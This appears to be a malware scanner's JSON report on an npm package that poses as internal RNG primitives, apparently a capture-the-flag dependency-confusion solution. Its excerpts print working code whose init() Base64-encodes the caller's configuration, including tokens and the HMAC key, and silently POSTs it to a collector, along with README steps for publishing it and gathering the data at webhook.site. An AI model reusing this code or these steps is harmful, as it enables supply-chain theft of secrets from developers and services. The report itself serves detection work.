{
  "llm": {
    "conf": 0.9991694,
    "error": "",
    "grade": "hostile",
    "interpretation": "Supply chain exfiltration payload",
    "model": "Qwen/Qwen3.8-27B",
    "outcome": "hostile"
  },
  "ml": {
    "analyzed_at": "2026-11-18T20:58:44Z",
    "files": [
      {
        "lvl": 0,
        "prob": 0.99876034,
        "id": 0
      },
      {
        "lvl": -1,
        "id": 1
      },
      {
        "lvl": 6000,
        "prob": 0.9653682,
        "id": 2
      },
      {
        "lvl": -1,
        "id": 3
      }
    ],
    "lvl": 0,
    "mods": [
      {
        "cls": 2
      }
    ],
    "prob": 0.99876034,
    "v": "7",
    "version": "v20.20"
  },
  "path": "@test-org-aczxvz-test-package-1.0.0.tgz",
  "raw": {
    "files": [
      {
        "depth": 0,
        "facts": {
          "metrics": {
            "archive": {
              "directory_count": 0,
              "double_extension_count": 0,
              "executable_count": 0,
              "file_count": 3,
              "format.regular_count": 3,
              "hidden_file_count": 0,
              "homoglyph_filename_count": 0,
              "max_filename_length": 20,
              "member_count": 3,
              "misplaced_executable_count": 0,
              "nested_archive_count": 0,
              "path_traversal_count": 0,
              "rtlo_filename_count": 0,
              "script_count": 1,
              "security.setgid_count": 0,
              "security.setuid_count": 0,
              "security.sticky_count": 0,
              "security.symlink_count": 0,
              "security.world_writable_count": 0,
              "symlink_escape_count": 0,
              "timing.mtime_spread_seconds": 0,
              "timing.mtime_unique_count": 1,
              "uncompressed_size": 4901,
              "unicode_filename_count": 0
            },
            "binary": {
              "peak_region_bytes": 2527,
              "peak_region_entropy": 7.78
            },
            "consistency": {
              "missing_author": 1
            },
            "file": {
              "entropy": 7.91,
              "size": 2527
            }
          }
        },
        "id": 0,
        "ident": {
          "name": {
            "value": "@test-org-aczxvz/test-package",
            "source": "npm.name",
            "verified": false
          },
          "trust": "unsigned",
          "version": {
            "value": "1.0.0",
            "source": "npm.version",
            "verified": false
          },
          "identifier": {
            "value": "@test-org-aczxvz/test-package",
            "source": "npm.name",
            "verified": false
          },
          "description": {
            "value": "EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)",
            "source": "npm.description",
            "verified": false
          }
        },
        "mol": "O₂(Eu₃S)H₅(Cm₁₀Cr₃Db₅FOs₂)Md₆(In₄Ne₂Pa₅Pt₂)",
        "path": "@test-org-aczxvz-test-package-1.0.0.tgz",
        "risk": 253,
        "sha": "c7c25ccd3d7547c25af55eefbd46ab1f37ada1a219fb5e6f2981efdaae118bfb",
        "size": 2527,
        "traits": [
          {
            "atk": "T1041",
            "conf": 0.98,
            "crit": 5,
            "desc": "Silently exports configuration containing the local HMAC key",
            "from": [
              {
                "file": 2,
                "line": 26,
                "off": 822
              }
            ],
            "id": "objectives/exfiltration/stealer/configuration/runtime::node-silent-signing-config-export",
            "uses": [
              28,
              59
            ]
          },
          {
            "atk": "T1195.002",
            "conf": 0.95,
            "crit": 5,
            "desc": "Public \"internal\" package POSTs caller configuration",
            "from": [
              {
                "file": 2,
                "line": 18,
                "off": 492
              },
              {
                "file": 3,
                "line": 4,
                "off": 69
              }
            ],
            "id": "objectives/supply-chain/impersonation/depconf::public-unlicensed-internal-package-config-post",
            "mbc": "B0024",
            "uses": [
              18,
              21,
              26,
              28,
              43,
              59,
              77
            ]
          },
          {
            "atk": "T1041",
            "conf": 0.94,
            "crit": 4,
            "desc": "Signing configuration export accompanies Base64 query and POST",
            "from": [
              {
                "file": 2,
                "line": 18,
                "off": 492
              }
            ],
            "id": "objectives/exfiltration/stealer/configuration/runtime::node-runtime-config-base64-query-post",
            "uses": [
              26,
              28,
              43,
              59
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Archive ships a README beside HTML or JavaScript files",
            "id": "metadata/archive/layout::archive-readme-with-web-members",
            "uses": [
              4,
              70
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Archive member named with JavaScript extension",
            "id": "metadata/archive/member/extension::archive-js-member"
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "Versioned npm manifest at most two KiB",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/file/size::small-versioned-npm-manifest"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Filename is package.json",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/filename/identity::package-json-basename"
          },
          {
            "conf": 1.0,
            "crit": 3,
            "desc": "Basename is uppercase README.md",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/filename/identity::uppercase-readme-md-basename"
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "require('crypto') call",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/builtin::require-crypto"
          },
          {
            "conf": 0.75,
            "crit": 3,
            "desc": "Imports the Node.js HTTP module",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/builtin::require-http"
          },
          {
            "conf": 0.78,
            "crit": 3,
            "desc": "Imports the Node.js HTTPS module",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/builtin::require-https"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports crypto",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/npm/crypto::crypto"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports http",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/npm/http::http"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "imports https",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/npm/https::https"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Calls a digest() method",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/lang/source/syntax/call/member::js-digest-method-call"
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Markdown-style heading precedes a code fence",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/source/syntax/markup/markdown::markdown-heading-before-fenced-block"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Published npm manifest omits author metadata",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/author/presence::published-npm-manifest-omits-author"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "npm manifest omits both dependencies and devDependencies",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-no-deps-at-all",
            "uses": [
              73,
              74
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Package description uses internal wording",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/description/visibility::npm-description-internal-term"
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "npm package name contains 'test'",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/name/vocabulary::npm-name-test"
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "npm manifest declares publishConfig",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/publishing::has-publish-config"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "npm package is configured for public publishing",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/publishing::npm-public-publish-access"
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "npm package version is exactly 1.0.0",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/versioning/sentinel::npm-version-exactly-1-0-0"
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "References the application/json media type",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/header/content-type::application-json"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References HTTP Content-Type application/json",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/header/content-type::json-header"
          },
          {
            "conf": 0.86,
            "crit": 3,
            "desc": "Script request option specifies POST",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/post::request-options-post-method",
            "mbc": "C0002"
          },
          {
            "conf": 0.96,
            "crit": 3,
            "desc": "request() specifies a POST method",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/post::request-post-option"
          },
          {
            "atk": "T1071.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Ends request result with body variable",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::bound-request-end-identifier-body",
            "mbc": "C0002"
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Node HTTP end() sends JSON",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-json-end-body"
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Requires the Node HTTP module",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-module-require"
          },
          {
            "atk": "T1071.001",
            "conf": 0.84,
            "crit": 3,
            "desc": "Node HTTP request sends a body with end()",
            "from": [
              {
                "file": 2,
                "line": 2,
                "off": 47
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::node-http-request-end-body",
            "mbc": "C0002",
            "uses": [
              27,
              32,
              34
            ]
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Requires the Node HTTPS module",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::node-https-module-require"
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Ends request-like object with a body argument",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::request-end-body-call",
            "mbc": "C0002"
          },
          {
            "atk": "T1071.001",
            "conf": 0.72,
            "crit": 3,
            "desc": "References req.end or request.end",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/body/construction::request-end-call",
            "mbc": "C0002"
          },
          {
            "atk": "T1071.001",
            "conf": 0.7,
            "crit": 3,
            "desc": "Node.js built-in http/https module usage",
            "from": [
              {
                "file": 2,
                "line": 2,
                "off": 47
              }
            ],
            "id": "micro-behaviors/communications/http/request/client::node-http",
            "mbc": "C0002",
            "uses": [
              36
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Dual-imported Node HTTP and HTTPS client",
            "from": [
              {
                "file": 2,
                "line": 2,
                "off": 47
              }
            ],
            "id": "micro-behaviors/communications/http/request/client::node-scheme-selected-dual-require-client",
            "mbc": "C0002",
            "uses": [
              9,
              10,
              45
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.92,
            "crit": 3,
            "desc": "Node HTTP client selected by URL scheme",
            "from": [
              {
                "file": 2,
                "line": 2,
                "off": 47
              }
            ],
            "id": "micro-behaviors/communications/http/request/client::node-scheme-selected-http-client",
            "mbc": "C0002",
            "uses": [
              35
            ]
          },
          {
            "atk": "T1071.001",
            "conf": 0.75,
            "crit": 3,
            "desc": "HTTP POST request with JSON content",
            "from": [
              {
                "file": 2,
                "line": 21,
                "off": 626
              }
            ],
            "id": "micro-behaviors/communications/http/request/json::http-post-json",
            "mbc": "C0002",
            "uses": [
              23,
              41
            ]
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "Quoted HTTP POST method token",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/reference::quoted-post-token"
          },
          {
            "atk": "T1071.001",
            "conf": 0.8,
            "crit": 3,
            "desc": "HTTP POST method field",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/result::http-post-method",
            "mbc": "C0002"
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Method option selects POST, PUT or PATCH",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/verb::mutating-method-option"
          },
          {
            "atk": "T1071.001",
            "conf": 0.94,
            "crit": 3,
            "desc": "Configures an HTTP POST request",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/http/request/verb::post-method-text",
            "mbc": "C0002"
          },
          {
            "conf": 0.82,
            "crit": 3,
            "desc": "Mutates a URL query parameter collection",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/url/construction/query::query-parameter-mutation"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Sets query value from Buffer Base64",
            "from": [
              {
                "file": 2,
                "line": 18,
                "off": 492
              }
            ],
            "id": "micro-behaviors/communications/url/construction/query::urlsearchparams-buffer-base64-value",
            "uses": [
              44,
              54
            ]
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Passes Buffer value to query setter",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/url/construction/query::urlsearchparams-buffer-base64-value-call"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Tests URL.protocol scheme in a ternary",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/communications/url/scheme::url-protocol-scheme-ternary-test"
          },
          {
            "conf": 0.94,
            "crit": 3,
            "desc": "Node.js createHash('sha256') call",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/crypto/hash/digest/sha2::node-createhash-sha256-call"
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "Node.js createHash call",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/crypto/hash/digest/unnamed-algorithm::node-createhash-call"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "References an HMAC API",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/crypto/hash/hmac::hmac-api-reference",
            "mbc": "C0029"
          },
          {
            "conf": 0.7,
            "crit": 3,
            "desc": "References the Node.js HMAC constructor API",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-api-reference"
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Node.js HMAC call in source text",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/crypto/hash/hmac::node-createhmac-text-call",
            "mbc": "C0029"
          },
          {
            "conf": 0.6,
            "crit": 3,
            "desc": "Spaced subtraction between identifiers",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/arithmetic::js-identifier-subtraction"
          },
          {
            "conf": 0.92,
            "crit": 3,
            "desc": "Text has empty named-parameter catch",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/control-flow/error-handling/suppress::empty-named-catch-text"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "JavaScript emitter discards errors",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/control-flow/error-handling/suppress::silent-error-handler"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Converts Buffer value to Base64 text",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/encode/base64/primitive::buffer-base64-conversion"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Encodes Node.js Buffer output as Base64",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/encode/base64/primitive::node-buffer-base64-encode",
            "mbc": "C0026"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Base64 encoding via toString (JS)",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/encode/base64/primitive::tostring-base64"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "Calls JavaScript toString with hex encoding",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/encode/hex::js-to-string-hex"
          },
          {
            "conf": 0.88,
            "crit": 3,
            "desc": "Calls toString on constructed Node.js Buffer",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/format/string::node-buffer-tostring-call"
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Serializes configuration retained as an HMAC key",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/serialize/json::javascript-serialized-hmac-config"
          },
          {
            "conf": 0.5,
            "crit": 3,
            "desc": "Calls JSON.stringify()",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/serialize/json::json-stringify-call"
          },
          {
            "conf": 0.85,
            "crit": 3,
            "desc": "Serializes an identifier as JSON",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/serialize/json::json-stringify-identifier"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "Serializes value with JSON.stringify",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/serialize/json::json-stringify-text-call"
          },
          {
            "conf": 0.84,
            "crit": 3,
            "desc": "JSON.stringify beside a variable-valued field",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/data/serialize/json::json-stringify-variable-value"
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Command text invokes mkdir",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "micro-behaviors/fs/directory/create::mkdir-command"
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "mkdir -p command names an absolute directory",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "micro-behaviors/fs/directory/create::mkdir-parent-absolute-path-command"
          },
          {
            "conf": 0.9,
            "crit": 3,
            "desc": "CommonJS local-module require call",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/os/module/load/path::cjs-local-require-call"
          },
          {
            "conf": 0.65,
            "crit": 3,
            "desc": "References the Node.js randomBytes API",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "micro-behaviors/os/random/crypto::node-random-bytes"
          },
          {
            "atk": "T1195.002,T1552.001,T1041",
            "conf": 0.99,
            "crit": 3,
            "desc": "Script base64 encodes environment payload",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "objectives/exfiltration/stealer/configuration/environment/file-source::encode-env-payload"
          },
          {
            "atk": "T1041,T1552.001,T1195.002",
            "conf": 0.99,
            "crit": 3,
            "desc": "Script encodes data and selects POST",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "objectives/exfiltration/stealer/configuration/environment/process::node-env-encoding-and-post"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Archive member is a README document",
            "id": "metadata/archive/member/filename/role::archive-readme-member"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "imports ./package.json",
            "from": [
              {
                "file": 2
              }
            ],
            "id": "metadata/import/npm/relative/1/package/json::relative/1/package/json"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest omits dependencies field",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-no-dependencies-field"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest omits devDependencies field",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-no-deps-devdependencies"
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "npm manifest declares no runtime dependencies",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-no-runtime-dependencies",
            "uses": [
              72
            ]
          },
          {
            "conf": 0.9,
            "crit": 2,
            "desc": "Declared root JavaScript main entry",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/entrypoint/module::main-root-javascript-entry"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "Manifest sits at npm publish root",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/files/included::npm-publish-root-manifest"
          },
          {
            "conf": 0.95,
            "crit": 2,
            "desc": "npm manifest declares package UNLICENSED",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/license::npm-unlicensed-declaration"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-1"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-2"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-5"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"with\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-6"
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"this\"",
            "from": [
              {
                "file": 1
              }
            ],
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-7"
          },
          {
            "conf": 0.9,
            "crit": 1,
            "desc": "npm manifest omits Ethers client",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-manifest-omits-ethers-client"
          },
          {
            "conf": 0.9,
            "crit": 1,
            "desc": "npm manifest omits Web3 client",
            "from": [
              {
                "file": 3
              }
            ],
            "id": "metadata/package/dependencies/presence::npm-manifest-omits-web3-client"
          }
        ],
        "type": "npm"
      },
      {
        "ctx": [
          {
            "col": 13,
            "line": 5,
            "ln": 139,
            "s": "s\n\nA working `@enjoy-gaming/rng`. It implements the whole public API â `init`,\n`float`, `int`, `bytes`, `pick`, `seed`, `sign` â so `rng-service` starts\nnormally and `/health` looks right. The payload is in `init()`, which the\nservice calls at boot and hands it"
          },
          {
            "col": 44,
            "line": 18,
            "ln": 613,
            "s": ",\n  \"token\": \"rngrc_â¦\"\n}\n```\n\nNote what the payload does *not* do: it never reads `process.env` an"
          },
          {
            "col": 30,
            "line": 31,
            "ln": 1090,
            "s": "far more heavily than ordinary module code, and\nthis version has to survive publication to be worth anything.\n\n## Running it\n\n1. Open \u003chttps://webhook.site\u003e and copy your unique URL.\n2. Either set `COLLECTOR` in `index.js`, or pa"
          },
          {
            "col": 35,
            "line": 40,
            "ln": 1486,
            "s": "each attempt needs a new one.\n4. `npm publish --access public`\n5. Wait for the deploy job on the candidate VM. The flag arrives at your\n   webhook.site bin, in `init.logging_data`.\n\n## Verifying locally without publishing\n\n```bash\nmkdir -p /tmp/t/node_modules/@enjoy-gaming \u0026\u0026 cd /tmp/t\ncp -r \u003crepo\u003e/deploy/apps/supply-chain/solution node_modules/@enjoy-gaming/rng\ncp \u003crepo\u003e/deploy/apps/supply-chain/ch"
          },
          {
            "col": 62,
            "line": 51,
            "ln": 1995,
            "s": "test}' \\\n  node -e \"require('./index.js')\"\n```\n\nwith any listener on 8098. Confirmed working: the service reports healthy and\nthe collector receives"
          }
        ],
        "depth": 1,
        "facts": {
          "metrics": {
            "binary": {
              "peak_region_bytes": 2048,
              "peak_region_entropy": 5.14
            },
            "file": {
              "entropy": 5.05,
              "size": 2184
            },
            "text": {
              "avg_line_length": 38,
              "char_entropy": 5.05,
              "digit_ratio": 0.01,
              "empty_line_ratio": 0.21,
              "last_line_length": 62,
              "line_length_stddev": 30.75,
              "lines": 56,
              "max_line_length": 82,
              "max_whitespace_run": 7,
              "non_ascii_ratio": 0.01,
              "space_count": 279,
              "top_char": 101,
              "top_char_null": 0,
              "top_char_ratio": 0.08,
              "unique_chars": 84,
              "whitespace_ratio": 0.15
            }
          }
        },
        "id": 1,
        "mol": "H(F)Md₂(Pt)",
        "path": "@test-org-aczxvz-test-package-1.0.0.tgz!!package/README.md",
        "pid": 0,
        "risk": 3,
        "sha": "ea09451411d822ab32cda39aa32504349e666ecb030546bfe6b1d27419ee714e",
        "sid": 6632247675,
        "size": 2184,
        "traits": [
          {
            "conf": 1.0,
            "crit": 3,
            "desc": "Basename is uppercase README.md",
            "id": "metadata/filename/identity::uppercase-readme-md-basename"
          },
          {
            "conf": 0.98,
            "crit": 3,
            "desc": "Markdown-style heading precedes a code fence",
            "id": "metadata/lang/source/syntax/markup/markdown::markdown-heading-before-fenced-block",
            "spans": [
              [
                1668,
                44
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 3,
            "desc": "Command text invokes mkdir",
            "id": "micro-behaviors/fs/directory/create::mkdir-command",
            "spans": [
              [
                1717,
                43
              ]
            ]
          },
          {
            "conf": 0.95,
            "crit": 3,
            "desc": "mkdir -p command names an absolute directory",
            "id": "micro-behaviors/fs/directory/create::mkdir-parent-absolute-path-command",
            "spans": [
              [
                1717,
                29
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"the\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-1",
            "spans": [
              [
                187,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"and\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-2",
            "spans": [
              [
                305,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"for\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-5",
            "spans": [
              [
                1557,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"with\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-6",
            "spans": [
              [
                2043,
                0
              ]
            ]
          },
          {
            "conf": 0.8,
            "crit": 1,
            "desc": "English function-word token \"this\"",
            "id": "metadata/lang/natural/vocabulary/function-word::lang-english--atom-7",
            "spans": [
              [
                1138,
                0
              ]
            ]
          }
        ],
        "type": "markdown"
      },
      {
        "analysis_gaps": [
          "flow-graph-limited",
          "flow-field-unavailable",
          "flow-query-incomplete"
        ],
        "ctx": [
          {
            "col": 1,
            "line": 1,
            "ln": 0,
            "s": "const crypto = require('crypto');\nconst http = require('http');\nconst https = require('https');\n\nconst BIN = process.env.RNG_COLLECTOR_UUID || 'f4927958-be83-4bb1-9265-eaf4b9e0417d';\n\nconst VERSION = require('./package.json').version;\n\nlet runtime = null;\n\nfunction init(options) {\n  const o = options || {};\n\n  try {\n    const u = new URL(String(o.rng_server_url).replace(/\\/*$/, '/') + BIN);\n    const payload = JSON.stringify({ at: new Date().toISOString(), init: o });\n\n    u.searchParams.set('d', Buffer.from(payload).toString('base64'));\n    const req = (u.protocol === 'http:' ? http : https).request(\n      u,\n      { method: 'POST', headers: { 'content-type': 'application/json' }, timeout: 4000 },\n      (res) =\u003e res.resume()\n    );\n    req.on('error', () =\u003e {});\n    req.on('timeout', () =\u003e req.destroy());\n    req.end(payload);\n  } catch (e) {\n  }\n\n  runtime = {\n    instance: o.instance || 'unknown',\n    region: o.region || 'unknown',\n    entropy: o.entropy || null,\n    logging_data: o.logging_data || null,\n    rng_server_url: o.rng_server_url || null,\n    token: o.token || null,\n    startedAt: new Date().toISOString(),\n  };\n  return { version: VERSION, instance: runtime.instance, region: runtime.region, seeded: Boolean(runtime.entropy) };\n}\n\nfunction float() {\n  return crypto.randomBytes(6).readUIntBE(0, 6) / 2 ** 48;\n}\n\nfunction int(min, max) {\n  const lo = Math.ceil(Number(min));\n  const hi = Math.floor(Number("
          },
          {
            "col": 31,
            "line": 50,
            "ln": 1539,
            "s": "min, max): bad range');\n  }\n  return lo + Math.floor(float() * (hi - lo + 1));\n}\n\nfunction bytes(n) {\n  const count = Math.min(Math.max(parseInt(n, 10) || 0, 1), 256);\n  return crypto.randomBytes(count).toString('hex');\n}\n\nfunction pick(list) {\n  if (!Array.isArray(list) || list.length === 0) {\n    throw new RangeError('pick(list)"
          },
          {
            "col": 14,
            "line": 64,
            "ln": 1904,
            "s": "[int(0, list.length - 1)];\n}\n\nfunction seed(roundId) {\n  return crypto\n    .createHash('sha256')\n    .update(crypto.randomBytes(16))\n    .update(String(runtime \u0026\u0026 runtime.entropy ? runtime.entropy : ''))\n    .update(String(roundId))\n    .digest('hex')\n    .slice(0, 32);\n}\n\nfunction sign(record) {\n  return crypto\n    .createHmac('sha256', String(runtime \u0026\u0026 runtime.logging_data ? runtime.logging_data : ''))\n    .update(JSON.stringify(record))\n    .digest('hex');\n}\n\nmodule.exports = { version: VERSION, init, float, int, bytes, pick, seed, sign };\n"
          }
        ],
        "depth": 1,
        "facts": {
          "exp": [
            [
              "bytes"
            ],
            [
              "float"
            ],
            [
              "init"
            ],
            [
              "int"
            ],
            [
              "pick"
            ],
            [
              "seed"
            ],
            [
              "sign"
            ],
            [
              "version"
            ]
          ],
          "funcs": [
            [
              "init",
              257
            ],
            [
              "anonymous",
              714
            ],
            [
              "anonymous",
              763
            ],
            [
              "anonymous",
              796
            ],
            [
              "float",
              1263
            ],
            [
              "int",
              1344
            ],
            [
              "bytes",
              1621
            ],
            [
              "pick",
              1762
            ],
            [
              "seed",
              1934
            ],
            [
              "sign",
              2178
            ]
          ],
          "imp": [
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "require"
            ],
            [
              "",
              "URL"
            ],
            [
              "",
              "String.replace"
            ],
            [
              "",
              "String"
            ],
            [
              "",
              "JSON.stringify"
            ],
            [
              "",
              "Date.toISOString"
            ],
            [
              "",
              "Date"
            ],
            [
              "",
              "u.searchParams.set"
            ],
            [
              "",
              "Buffer.from.toString"
            ],
            [
              "",
              "Buffer.from"
            ],
            [
              "",
              "res.resume"
            ],
            [
              "",
              "req.on"
            ],
            [
              "",
              "req.on"
            ],
            [
              "",
              "req.destroy"
            ],
            [
              "",
              "req.end"
            ],
            [
              "",
              "Date.toISOString"
            ],
            [
              "",
              "Date"
            ],
            [
              "",
              "Boolean"
            ],
            [
              "",
              "crypto.randomBytes.readUIntBE"
            ],
            [
              "",
              "crypto.randomBytes"
            ],
            [
              "",
              "Math.ceil"
            ],
            [
              "",
              "Number"
            ],
            [
              "",
              "Math.floor"
            ],
            [
              "",
              "Number"
